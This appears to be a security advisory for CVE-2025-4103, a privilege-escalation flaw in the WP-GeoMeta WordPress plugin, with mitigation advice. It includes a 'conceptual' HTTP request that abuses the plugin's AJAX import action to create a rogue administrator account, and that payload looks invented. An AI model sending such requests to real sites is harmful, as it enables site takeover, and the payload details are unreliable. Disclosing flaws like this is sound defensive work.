Overview
A severe vulnerability has been discovered in the WP-GeoMeta plugin for WordPress, which could potentially compromise systems and lead to data leakage. This vulnerability, identified as CVE-2025-4103, is particularly concerning because it allows attackers with only Subscriber-level access to elevate their privileges to the level of an administrator. This privilege escalation vulnerability poses a significant risk to all users of the vulnerable versions of the WP-GeoMeta plugin, as it opens the door for malicious actors to gain unauthorized control over their WordPress sites.
Vulnerability Summary
CVE ID: CVE-2025-4103
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: System compromise or data leakage
Affected Products
Product | Affected Versions
WP-GeoMeta Plugin for WordPress | 0.3.4 to 0.3.5
How the Exploit Works
The vulnerability resides in the `wp_ajax_wpgm_start_geojson_import()` function of the WP-GeoMeta plugin. This function lacks a necessary capability check, which means that it does not properly verify the permissions of the user making the request. As a result, a malicious actor with Subscriber-level access could exploit this oversight to perform administrative actions, like uploading malicious files, changing site settings, or even creating new admin-level user accounts.
Conceptual Example Code
The following is a conceptual example of how an attacker could exploit this vulnerability. This is a hypothetical HTTP request that might be sent by an attacker already authenticated as a subscriber:
POST /wp-admin/admin-ajax.php?action=wpgm_start_geojson_import HTTP/1.1
Host: targetsite.com
Content-Type: application/json
Cookie: wordpress_logged_in_[hash]=[username]|1434730000|abcdef1234567890abcdef1234567890
{
"importData": {
"type": "FeatureCollection",
"features": [
{
"type": "Feature",
"properties": {
"title": "Injected Admin Account",
"role": "administrator",
"username": "attacker",
"email": "attacker@example.com",
"password": "P@ssw0rd!"
}
}
]
}
}In this example, the attacker is exploiting the vulnerability to create a new admin-level user account under their control.
Mitigation
Users of the WP-GeoMeta Plugin for WordPress should apply the latest vendor patch to mitigate this vulnerability. If a patch is not yet available, users should consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to provide temporary protection against potential exploitation of this vulnerability. Regularly monitoring system logs for any suspicious activity is also strongly recommended.
